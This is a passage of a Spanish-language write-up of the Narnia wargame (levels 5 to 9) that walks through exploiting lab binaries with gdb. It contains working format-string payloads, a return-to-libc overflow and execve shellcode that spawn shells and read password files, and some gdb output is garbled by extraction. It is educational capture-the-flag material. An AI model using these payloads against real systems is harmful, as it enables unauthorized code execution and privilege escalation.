narnia5@melissa:~$ for (( i = 0; i < 100; i++ )); > do echo "Pos $i:" && /narnia/narnia5 "ABCD %$i\$x" ; > done | grep -B 2 -A 1 44434241 Pos 5: Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ABCD 44434241] (13) i = 1 (0xffffd74c)

Es más recomendable porque el parámetro sobre el que tendremos control no siempre estará tan cerca como en el caso que nos ocupa. Ahora sólo nos falta la última pieza del puzzle. Con lo que sabemos hasta ahora tenemos mucho control sobre lo que queremos ver, pero seguimos sin poder modificar valores del stack. Por suerte las funciones de la familia printf incluyen un carácter de conversión que no muestra nada, al contrario, permite escribir el número de caracteres mostrados hasta su posición en la cadena de formato en el parámetro correspondiente recibido por la función como argumento.
12 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html

27

Vamos a probarlo, y para ello utilizaremos la dirección en el stack para la variable i que la propia aplicación nos muestra como resultado de su ejecución (tercer parámetro, &i, de la última llamada a printf en el código fuente de la aplicación):
narnia5@melissa:~$ /narnia/narnia5 $(python -c 'print "\x4c\xd7\xff\xff"')" %5\$n" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [L×ÿÿ ] (5) i = 5 (0xffffd74c)

Hemos conseguido modificar el valor de i de forma que en lugar de contener un 1 ahora contiene un 5. Esto es porque gracias al modificador %n se ha escrito el valor 5 correspondiente a los 4 caracteres que forman la dirección de la variable mas un espacio en blanco. Si queremos escribir un 6 incluiremos dos espacios en blanco, un 7 tres, y así sucesivamente; pero vamos a tener que incluir muchos espacios en blanco en nuestra cadena de formato si lo que al final queremos escribir en i es el valor 500. En lugar de hacerlo manualmente utilizaremos la posibilidad de especificar el ancho mínimo del campo en la cadena de formato. Indicaremos un ancho mínimo de 495, que mas los 5 de la dirección más el espacio en blanco se corresponden con el valor 500 que queremos darle a la variable i:
narnia5@melissa:~$ /narnia/narnia5 $(printf "\x4c\xd7\xff\xff")" %495d%5\$n" Change i's value from 1 -> 500. GOOD $ cat /etc/narnia_pass/narnia6 lolololol $ exit No way...let me give you a hint! buffer : [<×ÿÿ ] (63) i = 500 (0xffffd74c)

En este caso para incluir la dirección de la variable en la cadena que recibe la aplicación vulnerable como argumento he utilizado el comando printf13 de linux, cuyo formato es muy similar al de la función de la librería stdio.h del lenguaje C.

13 http://linuxconfig.org/bash-printf-syntax-basics-with-examples

28

Nivel 6
Autentificados en el sistema como el usuario narnia6 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia6@melissa:~$ cat /narnia/narnia6.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern char **environ; int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i; if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); } /* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); /* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i])); strcpy(b1,argv[1]); strcpy(b2,argv[2]); if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1); fp(b1); exit(1); }

USA

La aplicación espera como argumento dos parámetros que almacena en sendos arrays utilizando la función strcpy. Como salida únicamente muestra el contenido del primero de los dos una vez “rellenado”, utilizando para ello un puntero a una función, fp, establecido anteriormente de forma que apunta a puts14.
14 http://linux.about.com/library/cmd/blcmdl3_puts.htm

29

Parece que tenemos dos posibles buffers que desbordar, b1 y b2, así que veamos donde se ubican en el stack y, por lo tanto, hasta donde nos permitirían “llegar” una vez desbordados. Pongamos un breakpoint en cada llamada a strcpy:
narnia6@melissa:~$ gdb -q /narnia/narnia6 Reading symbols from /narnia/narnia6...(no debugging symbols found)...done. (gdb) break *strcpy Breakpoint 1 at 0x80483f0 (gdb) run ABCD EFGH Starting program: /narnia/narnia6 ABCD EFGH Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6

Nos detenemos en la primera llamada, la encargada de copiar argv[1] en el array b1[8]. Vamos a comprobar el contenido del stack, lo que nos permitirá determinar la ubicación en memoria de b1, y continuar con la ejecución del programa:
(gdb) x/4xw $esp 0xffffd6fc: 0x080485e9 (gdb) c Continuing.

0xffffd720

0xffffd925

0x00000021

Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6

Nos detenemos ahora en la segunda llamada a strcpy, la encargada de copiar argv[2] en el array b2[8]. Obtenemos su ubicación en el stack y ponemos un nuevo breakpoint en la instrucción del main que se ejecuta justo después de la llamada a la función:
(gdb) x/4xw $esp 0xffffd6fc: 0x08048601 (gdb) break *0x08048601 Breakpoint 2 at 0x8048601

0xffffd718

0xffffd92a

0x00000021

Para terminar, y una vez alcanzado el último breakpoint, comprobemos el contenido de ambos arrays, b1 y b2, los cuales deberían contener las cadenas ABCD y EFGH respectivamente, y del resto del stack:
(gdb) c Continuing. Breakpoint 2, 0x08048601 in main () (gdb) print (char *) 0xffffd720 $1 = 0xffffd720 "ABCD" (gdb) print (char *) 0xffffd718 $2 = 0xffffd718 "EFGH" (gdb) info reg ebp esp ebp 0xffffd738 0xffffd738 esp 0xffffd700 0xffffd700

30

(gdb) x/20xw $esp 0xffffd700: 0xffffd718 0xffffd710: 0xf7ea2c3d 0xffffd720: 0x44434241 0xffffd730: 0x08048640 0xffffd740: 0x00000003

0xffffd92a 0xf7fd3324 0xf7feed00 0x00000000 0xffffd7e4

0x00000021 0x48474645 0x08048410 0xffffd7b8 0xffffd7f4

0x08048659 0xffffd700 0x00000003 0xf7e89e37 0xf7fdf420

Ahora ya podemos “dibujarnos” su estructura completa:
0xffffd748: 0xffffd744: 0xffffd740: 0xffffd73c: EBP --> 0xffffd738: 0xffffd734: 0xffffd730: 0xffffd72c: 0xffffd728: 0xffffd724: 0xffffd720: 0xffffd71c: 0xffffd718: 0xffffd714: 0xffffd710: 0xffffd70c: 0xffffd708: 0xffffd704: ESP --> 0xffffd700: Puntero a environ Argumento 2 de main, argv Argumento 1 de main, argc EIP EBP No es importante No es importante int i Puntero a puts (fp) b1[8] b1[8] b2[8] b2[8] No es importante No es importante No es importante No es importante No es importante No es importante

Los dos arrays se encuentran uno detrás de otro, y desbordando cualquiera de ellos podríamos llegar a sobreescribir EIP. Pero eso no nos serviría de nada dado que la aplicación termina con un exit15 cuya llamada descartará el valor del registro EIP de la aplicación finalizándola por sí misma. Otra opción sería sobreescribir fp apuntándolo a una variable del entorno con nuestra shellcode, pero eso tampoco nos sirve dado que la aplicación se encarga de vaciarlo durante su ejecución:
/* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i]));

Almacenar la shellcode en el tercer argumento de la aplicación y hacer que el puntero fp apunte allí tampoco es factible por dos motivos: primero, la aplicación vacía el contenido de un posible tercer parámetro y sucesivos:
/* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i]));

15 http://linux.about.com/library/cmd/blcmdl3_exit.htm

31

Y segundo, si la dirección apuntada por fp “cae” dentro del stack la aplicación terminará con una llamada a exit:
if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1);

Esto último también nos impide almacenar la shellcode en el array b2 y hacer que fp apunte al inicio del mismo además de que no conozco, ni creo ser capaz de generar, una shellcode tan pequeña. Menos mal que siempre nos quedará return to libc16. Obtendremos la dirección en memoria para la función system17 de la libc utilizando una aplicación que realice una llamada a la misma analizándola con el debugger:
narnia6@melissa:~$ cd /tmp narnia6@melissa:/tmp$ vim get_system.c #include <stdio.h> int main() { system(); return 0; } narnia6@melissa:/tmp$ gcc -g -m32 -o get_system get_system.c narnia6@melissa:/tmp$ gdb -q get_system Reading symbols from /tmp/get_system...done. (gdb) break main Breakpoint 1 at 0x80483ca: file get_system.c, line 5. (gdb) run Starting program: /tmp/get_system Breakpoint 1, main () at get_system.c:5 5 system(); (gdb) p system $1 = {<text variable, no debug info>} 0xf7eaf260 <system>

Ya tenemos su dirección en memoria,0xf7eaf260, y sabemos que para ejecutar una shell ésta necesita recibir como parámetro la cadena “ /bin/sh”. ¿Como estructuraremos los argumentos que le pasaremos a la aplicación vulnerable para conseguir nuestro propósito? Si volvemos a lanzar la aplicación:
narnia6@melissa:/tmp$ /narnia/narnia6 ABCD EFGH ABCD

16 http://en.wikipedia.org/wiki/Return-to-libc_attack 17 http://linux.die.net/man/3/system

32

comprobaremos como la cadena recibida mediante argv[1] y copiada en el array b[1] mediante strcpy se le pasa directamente a la función apuntada por fp. Repasando la estructura del stack resulta obvio que tendremos que utilizar los dos parámetros que espera la aplicación para sobreescribir el contenido de los buffers b1 y b2 en dos etapas. La primera etapa, utilizando el primer argumento, nos permitirá sobreescribir fp, y la segunda etapa, utilizando el segundo argumento, colocará en b1 la cadena utilizada por system:
narnia6@melissa:/tmp$ cd ~ narnia6@melissa:~$ /narnia/narnia6 $(python -c 'print "A" * 8 + "\x60\xf2\xea\xf7"') \ > $(python -c 'print "A" * 8')"/bin/sh" $ cat /etc/narnia_pass/narnia7 lolololol

33

34

Nivel 7
Autentificados en el sistema como el usuario narnia7 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia7@melissa:~$ cat /narnia/narnia7.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <stdlib.h> <unistd.h>

USA

int goodfunction(); int hackedfunction(); int vuln(const char *format){ char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction); ptrf = goodfunction; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); printf("I guess you want to come to the hackedfunction...\n"); sleep(2); ptrf = goodfunction; snprintf(buffer, sizeof buffer, format); return ptrf(); } int main(int argc, char **argv){ if (argc <= 1){ fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); }

35

exit(vuln(argv[1])); } int goodfunction(){ printf("Welcome to the goodfunction, but i said the Hackedfunction..\n"); fflush(stdout); return 0; } int hackedfunction(){ printf("Way to go!!!!"); fflush(stdout); system("/bin/sh"); return 0; }

La cadena que se le pasa como argumento a la aplicación se copia, utilizando la función snprintf18, en el array buffer[128]. Si a esto le sumamos el resultado de ejecutar la aplicación:
narnia7@melissa:~$ /narnia/narnia7 AAAA goodfunction() = 0x804867b hackedfunction() = 0x80486a1 before : ptrf() = 0x804867b (0xffffd6ac) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction..

parece que volvemos a enfrentarnos a una vulnerabilidad de format string19 ya que tenemos que modificar el valor de un puntero, ptrf, almacenado en una dirección del stack que conocemos, 0xffffd6ac, para que apunte a una función, 0x80486a1 → hackedfunction(), distinta de la apuntada por defecto, 0x804867b → goodfunction(). El principal problema, al menos a priori, es que la aplicación no nos devuelve el contenido del array buffer que almacena nuestra cadena de formato una vez interpretada, por lo que tendremos que utilizar el debugger para averiguar la posición del especificador de formato que somos capaces de controlar:
narnia7@melissa:~$ gdb -q /narnia/narnia7 Reading symbols from /narnia/narnia7...(no debugging symbols found)...done. (gdb) break snprintf Breakpoint 1 at 0x8048490 (gdb) run "ABCD%08x%08x%08x%08x%08x%08x" Starting program: /narnia/narnia7 "ABCD%08x%08x%08x%08x%08x%08x" goodfunction() = 0x804867b hackedfunction() = 0x80486a1

18 http://linux.die.net/man/3/snprintf 19 http://blog.seguesec.com/wp-content/uploads/2011/03/FormatStringAttack-SebastianGuerreroSelma.pdf

36

before : ptrf() = 0x804867b (0xffffd68c) I guess you want to come to the hackedfunction... Breakpoint 1, 0xf7ebd604 in snprintf () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd664: 0xf7fd2ff4

0xffffd718

0x0804861f

0xffffd690

El comando anterior nos permite conocer la siguiente instrucción dentro del main que se ejecutará una vez que finalice la llamada a snprint, 0x0804861f:
(gdb) break *0x0804861f Breakpoint 2 at 0x804861f (gdb) c Continuing. Breakpoint 2, 0x0804861f in vuln () (gdb) x/24xw $esp 0xffffd670: 0xffffd690 0x00000080 0xffffd680: 0xf7e7fff0 0x080481d8 0xffffd690: 0x44434241 0x34303830 0xffffd6a0: 0x30666666 0x34303830 0xffffd6b0: 0x31303030 0x34303830 0xffffd6c0: 0x31343234 0x00000000

0xffffd911 0x00000001 0x63653238 0x38643138 0x62373638 0x00000000

0x080482ec 0x0804867b 0x37653766 0x30303030 0x33343434 0x00000000

el ultimo comando nos muestra una parte del stack, incluyendo el contenido de la variable buffer que comienza en la dirección 0xffffd690. Interpretando los valores almacenados con la ayuda de una tabla de códigos ASCII20 tenemos.
Posición
1 2 3 4 5 6

Dirección
0xffffd690 0xffffd694 0xffffd69c 0xffffd6a4 0xffffd6ac 0xffffd6b4 0xffffd6bc

Contenido
44434241 3430383063653238 3765376630666666 3430383038643138 3030303031303030 3430383062373638 3334343431343234

Hexadecimal
44434241 4080ce28 7e7f0fff 40808d18 00001000 4080d768 34441424

Cadena final
ABCD 080482ec f7e7fff0 080481d8 00000001 0804867d ABCD

Por lo tanto ya sabemos la posición del valor que controlamos y que, por lo tanto, somos capaces de modificar: el sexto. A diferencia del proceso seguido para completar el nivel 5 en este caso tenemos que escribir un valor correspondiente a una dirección de memoria, por lo que la cadena de formato no será tan sencilla. Para simplificar la creación de la cadena de formato adecuada seguiremos las instrucciones de la siguiente tabla, extraída del libro “Gray Hat Hacking: The Ethical Hackers
20 http://www.asciitable.com/

37

Handbook, 3rd Edition”21:
Orden
1 2 3 4 5

High Order Byte < Low Order Byte
[address + 2][address] %.[High Order Byte - 8]x %[offset]$hn %.[Low Order Byte – High Order Byte]x %[offset + 1]$hn

High Order Byte > Low Order Byte
[address + 2][address] %.[Low Order Byte - 8]x %[offset + 1]$hn %.[High Order Byte – Low Order Byte]x %[offset]$hn

Recordemos los valores específicos de nuestro caso volviendo a ejecutar la aplicación:
narnia7@melissa:~$ /narnia/narnia7 ABDC goodfunction() = 0x804867b hackedfunction() = 0x80486a1 before : ptrf() = 0x804867b (0xffffd6ac) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction..

Tenemos que escribir el valor 080486a1 en la dirección 0804867b. Si descomponemos la dirección:
0x080486a1 → 0x0804 < 0x86a1

por lo tanto los pasos a seguir: 1. 2. 3. 4. 5.
[ffffd68c + 2][0xffffd68c] → \x8e\xd6\xff\xff\x8c\xd6\xff\xff %.[0x0804 – 8]x → %.[0x7FC – 8]x → convertido a decimal → %.2044x %[6]$hn → %6\$hn %.[0x86a1 – 0x0804]x → %.[0x7e9d]x → convertido a decimal → %.32413x %[6 + 1]$hn → %7\$hn

Para terminar, y juntándolo todo:
narnia7@melissa:~$ /narnia/narnia7 $(printf "\x8e\xd6\xff\xff\x8c\xd6\xff\xff")%.2044x %6\$hn%.32413x%7\$hn goodfunction() = 0x804867b hackedfunction() = 0x80486a1 before : ptrf() = 0x804867b (0xffffd68c) I guess you want to come to the hackedfunction... Way to go!!!!$ cat /etc/narnia_pass/narnia8 lolololol

21 http://www.amazon.com/Gray-Hacking-Ethical-Hackers-Handbook/dp/0071742557

38

Nivel 8
Autentificados en el sistema como el usuario narnia8 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia8@melissa:~$ cat /narnia/narnia8.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc's variable reordering fucked things up // to keep the level in its old style i am // making "i" global unti i find a fix // -morla int i; void func(char *b){ char *blah=b; char bok[20]; //int i=0; memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i]; printf("%s\n",bok); } int main(int argc, char **argv){ if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]); return 0; }

USA

El binario recibe una cadena como parámetro que se copia dentro de la función func en el array bok[20], utilizando como origen un puntero a argv[1]. 39

Veamos la aplicación desde el debugger, deteniéndonos en la primera instrucción de la función func y avanzando una instrucción más, de forma que el valor de EBP sea “pusheado” en el stack:
narnia8@melissa:~$ gdb -q /narnia/narnia8 Reading symbols from /narnia/narnia8...(no debugging symbols found)...done. (gdb) break *func Breakpoint 1 at 0x80483d4 (gdb) run ABCD Starting program: /narnia/narnia8 ABCD Breakpoint 1, 0x080483d4 in func () (gdb) stepi 0x080483d5 in func () (gdb) x/4xw $esp 0xffffd728: 0xffffd748 0x0804846d (gdb) print (char *) 0xffffd929 $1 = 0xffffd929 "ABCD"

0xffffd929

0xf7feed80

Ya tenemos la ubicación en del registro EBP, 0xffffd728, EIP, 0xffffd72c, y el valor del puntero a la cadena argv[1], 0xffffd929. Vamos a desensamblar func:
(gdb) disas func Dump of assembler code for function func: 0x080483d4 <+0>: push %ebp => 0x080483d5 <+1>: mov %esp,%ebp 0x080483d7 <+3>: sub $0x38,%esp 0x080483da <+6>: mov 0x8(%ebp),%eax 0x080483dd <+9>: mov %eax,-0xc(%ebp) 0x080483e0 <+12>: movl $0x14,0x8(%esp) 0x080483e8 <+20>: movl $0x0,0x4(%esp) 0x080483f0 <+28>: lea -0x20(%ebp),%eax 0x080483f3 <+31>: mov %eax,(%esp) 0x080483f6 <+34>: call 0x80482e4 <memset@plt>

Solo muestro una parte del desensamblado, en concreto hasta la llamada a la función memset que se encargará de rellenar el contenido de bok[20] con ceros. Pongamos un nuevo breakpoint en esta línea y analicemos los parámetros que recibe:
(gdb) break *0x080483f6 Breakpoint 2 at 0x80483f6 (gdb) c Continuing. Breakpoint 2, 0x080483f6 in func () (gdb) info reg ebp esp ebp 0xffffd728 0xffffd728 esp 0xffffd6f0 0xffffd6f0 (gdb) x/4xw $esp 0xffffd6f0: 0xffffd708 0x00000000

0x00000014

0xf7e89c65

40

El primer valor para la salida del último comando se corresponde con la dirección en el stack del inicio de la variable bok[20], 0xffffd708. Así que, con lo que sabemos hasta el momento, el aspecto del stack será:
0xffffd730: 0xffffd72c: EBP --> 0xffffd728: 0xffffd724: 0xffffd720: 0xffffd71c: 0xffffd718: 0xffffd714: 0xffffd710: 0xffffd70c: 0xffffd708: 0xffffd704: 0xffffd700: 0xffffd6fc: 0xffffd6f8: 0xffffd6f4: ESP --> 0xffffd6f0: Argumento 1 de func, argv[1] = 0xffffd929 EIP EBP No lo sabemos No lo sabemos No lo sabemos bok[20] bok[20] bok[20] bok[20] bok[20] No es importante No es importante No es importante No es importante No es importante No es importante

Del “dibujo” anterior podemos extraer la cantidad de caracteres que necesitaremos para consegur sobreescribir EIP:
0xffffd72c – 0xffffd708 = 0x24 + 0x4 = 0x28 → 40 en decimal

Pero si probamos a desbordar el buffer:
narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 40') AAAAAAAAAAAAAAAAAAAAAbÿÿ=,ê÷$3ý÷8×ÿÿm Ùÿÿíþ÷ ô/ý÷

No se ha producido el famoso “Segmentation fault”. ¿Cual ha sido el problema y hasta donde hemos llegado? Analicémoslo mediante el debugger, teniendo en cuenta que las direcciones variarán con respecto al “dibujo” del stack que habíamos generado, pero los offsets no:
narnia8@melissa:~$ gdb -q /narnia/narnia8 Reading symbols from /narnia/narnia8...(no debugging symbols found)...done. (gdb) break *printf Breakpoint 1 at 0x8048304 (gdb) run $(python -c 'print "A" * 40') Starting program: /narnia/narnia8 $(python -c 'print "A" * 40') Breakpoint 1, 0xf7ebd5c0 in printf () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6cc: 0x0804844c 0x08048550 0xffffd6e8

0x00000014

41

(gdb) break *0x0804844c Breakpoint 2 at 0x804844c (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAA4ÿÿ=,ê÷$3ý÷(×ÿÿm Ùÿÿíþ÷ ô/ý÷

Breakpoint 2, 0x0804844c in func () (gdb) x/24xw $esp 0xffffd6d0: 0x08048550 0xffffd6e8 0xffffd6e0: 0x00000000 0x08049648 0xffffd6f0: 0x41414141 0x41414141 0xffffd700: 0xf7ea2c3d 0xf7fd3324 0xffffd710: 0xffffd906 0xf7feed80 0xffffd720: 0x08048490 0x00000000

0x00000014 0x41414141 0x41414141 0xffffd728 0x0804849b 0xffffd7a8

0xf7e89c65 0x41414141 0xffff3441 0x0804846d 0xf7fd2ff4 0xf7e89e37

Sabemos que bok[20] empieza en ESP mas 24, o lo que es lo mismo en ESP+0x18 = 0xffffd6e8, y justo allí encontramos la primera de las 40 A's que le hemos pasado a la aplicación como argumento. Contando a partir de allí encontramos solo 21 A's, ¿cual es la razón? Toca analizar el desensamblado de func, concretamente el fragmento encargado de rellenar el contenido de bok utilizando como entrada la cadena recibida como argumento por la aplicación:
0x080483fb: 0x08048405: 0x08048407: 0x0804840c: 0x08048412: 0x08048415: 0x08048418: 0x0804841c: 0x08048421: 0x08048424: 0x08048429: 0x0804842e: 0x08048431: 0x08048434: 0x08048436: movl jmp mov mov add movzbl mov mov add mov mov add movzbl test jne $0x0,0x8049674 0x8048429 0x8049674,%eax 0x8049674,%edx -0xc(%ebp),%edx (%edx),%edx %dl,-0x20(%ebp,%eax,1) 0x8049674,%eax $0x1,%eax %eax,0x8049674 0x8049674,%eax -0xc(%ebp),%eax (%eax),%eax %al,%al 0x8048407 ; +--; +-|->; | | ; | | ; | | ; | | ; | | ; | | ; | | ; | +->; | ; | ; | ; +----; i = 0 Salto a 0x8048429 EAX = i EDX = i Apunta EDX a blah[i] EDX = valor en blah[i] bok[i] = EDX EAX = i EAX++ (i++) 0x8049674 = EAX (i) EAX = i Apunta EAX a blah[i] EAX = valor en blah[i] Compara AL con AL Salta si EAX != 0

La instrucción en 0x08048412 utiliza el valor almacenado en EBP-0xc como inicio de la cadena, char * blah, el cual desplaza i bytes, blah[i], para obtener el valor a copiar en bok[i].
0xffffd710: 0xffffd70c: EBP --> 0xffffd708: 0xffffd704: 0xffffd700: 0xffffd6fc: 0xffffd6f8: Argumento 1 de func, argv[1] = 0xffffd929 EIP EBP No lo sabemos No lo sabemos blah bok[20]

42

Por lo tanto justo al terminar el espacio del buffer que podemos desbordar tenemos la dirección que marca el inicio de la cadena que estamos utilizando para desbordarlo. Debo reconocer que hasta que me dí cuenta de que podía determinar el contenido del stack a partir de la salida devuelta por la aplicación estuve algún tiempo probando todo lo que me pasaba por la cabeza sin llegar a ninguna parte; pero de pronto se me encendió la luz y se me ocurrió probar lo siguiente:
narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 20') | xxd -g 4 0000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000010: 41414141 2bd9ffff 3d2ceaf7 2433fdf7 AAAA+...=,..$3.. 0000020: 48d7ffff 6d840408 2bd9ffff 80edfef7 H...m...+....... 0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

El comando xxd22 de linux no es ni más, ni tampoco menos, que un editor hexadecimal en modo texto, y el parámetro “-g 4” se encarga de juntar los bytes mostrados en grupos de 4 para ofrecernos una salida similar a la de un dump con gdb. Pero, ¿cómo es que aparece eso como resultado? Pues resulta que el argumento que le pasamos a la aplicación no contiene el indicador de final de cadena, por lo que la siguiente instrucción de la aplicación:
printf("%s\n",bok);

muestra el contenido del stack hasta encontrar un byte nulo, permitiéndonos ver valores interesantes como, por ejemplo, el puntero al inicio de argv[1] = blah = cadena recibida por la aplicación. Si probamos ahora a desbordar bok[20]:
narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 21') | xxd -g 4 0000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000010: 41414141 4162ffff 3d2ceaf7 2433fdf7 AAAAAb..=,..$3.. 0000020: 48d7ffff 6d840408 2ad9ffff 80edfef7 H...m...*....... 0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

se sobreescribe justo el último byte del puntero blah, con lo que el inicio de la cadena pasa a apuntar a un lugar sobre el que no tenemos control y se nos joroba el invento. Parece pués que queda claro que tenemos que mantener la dirección de inicio de nuestra cadena para poder seguir desbordando el buffer hasta llegar a EIP; pero además, al “crecer” el tamaño de la cadena que le pasamos a la aplicación el puntero argv[1], y por tanto blah, se desplazará a una dirección anterior. La regla para sobreescribir x bytes sería:
Inicio cadena 20 bytes – 4 bytes – x bytes a sobreescribir

22 http://linux.about.com/library/cmd/blcmdl1_xxd.htm

43

Por lo tanto para el caso que nos ocupa los cálculos serían:
0xffffd92b – 0x4 – 0x10 (16 en hex) = 0xffffd917

que si lo probamos debería provocar nuestro querido “Segmentation fault”:
narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 20 + "\x17\xd9\xff\xff" + "A" * 16') AAAAAAAAAAAAAAAAAAAAÙÿÿAAAAAAAAAAAAAAAAÙÿÿíþ÷ ô/ý÷ Segmentation fault

¡Ahora ya sí que lo tenemos! Utilizaremos como dirección para sobreescribir EIP la de una variable de entorno que contenga nuestra shellcode, así que primero la crearemos y exportaremos:
narnia2@melissa:~$ cd /tmp narnia2@melissa:/tmp$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\xb0" + "\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" + "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff" + "\xff/bin/sh"')

Generamos ahora un binario que nos devuelva la dirección en memoria para la variable, recordando compilarlo utilizando el flag -m32 de gcc para obtener un binario de 32 bits:
narnia2@melissa:/tmp$ vim get_address.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if(!argv[1]) exit(1); printf("%#x\n", getenv(argv[1])); return 0; } narnia2@melissa:/tmp$ gcc -m32 -o get_address get_address.c narnia2@melissa:/tmp$ ./get_address SHELLCODE 0xffffd902

Como el contenido del entorno que recibe la aplicación ha aumentado para almacenar una nueva variable, SHELLCODE, las direcciones que tendremos que utilizar habrán variado nuevamente, así que volveremos a ejecutar los pasos necesarios para determinar los nuevos valores.

44

narnia8@melissa:/tmp$ /narnia/narnia8 $(python -c 'print "A" * 20') | xxd -g 4 0000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000010: 41414141 dfd8ffff 3d2ceaf7 2433fdf7 AAAA....=,..$3.. 0000020: f8d6ffff 6d840408 dfd8ffff 80edfef7 ....m........... 0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

Con el valor anterior para inicio cadena 20 bytes:
0xffffd8df – 0x4 – 0x10 (16 en hex) = 0xffffd8cb

Y utilizando ahora la dirección anterior más la dirección en memoria de nuestra shellcode:
narnia8@melissa:/tmp$ /narnia/narnia8 $(python -c 'print "A" * 20 + "\xcb\xd8\xff\xff" + "A" * 12 + "\x02\xd9\xff\xff"') AAAAAAAAAAAAAAAAAAAAËØÿÿAAAAAAAAAAAAÙÿÿËØÿÿíþ÷ ô/ý÷ $ cat /etc/narnia_pass/narnia9 lolololol

45

46

Nivel 9
Nos autentificamos en el sistema como el usuario narnia9 con la contraseña obtenida en el nivel anterior para obtener la felicitación correspondiente por haber superado todos los niveles del wargame:
narnia9@melissa:~$ ls -l total 4 -r--r----- 1 narnia9 narnia9 27 2012-06-28 14:55 CONGRATULATIONS narnia9@melissa:~$ cat CONGRATULATIONS you are l33t! next plz...

47

Sign up to vote on this title
UsefulNot useful